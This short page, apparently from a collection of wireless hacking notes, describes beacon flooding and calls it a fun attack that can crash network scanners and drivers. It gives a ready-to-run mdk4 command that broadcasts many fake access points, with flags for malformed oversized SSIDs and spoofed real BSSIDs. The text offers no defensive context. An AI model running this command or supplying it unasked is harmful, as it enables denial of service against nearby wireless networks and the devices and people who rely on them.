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# Beacon Flooding

## Intro

This is a fun attack, but you can crash network scanners and even drivers! In this attack the attacker **creates a lot of fake access points**.

<figure><img src="https://www.cse.wustl.edu/~jain/cse571-07/ftp/wireless_hacking/fig3.gif" alt=""><figcaption></figcaption></figure>

```
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS. This is to use BSSIDS that really exists
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```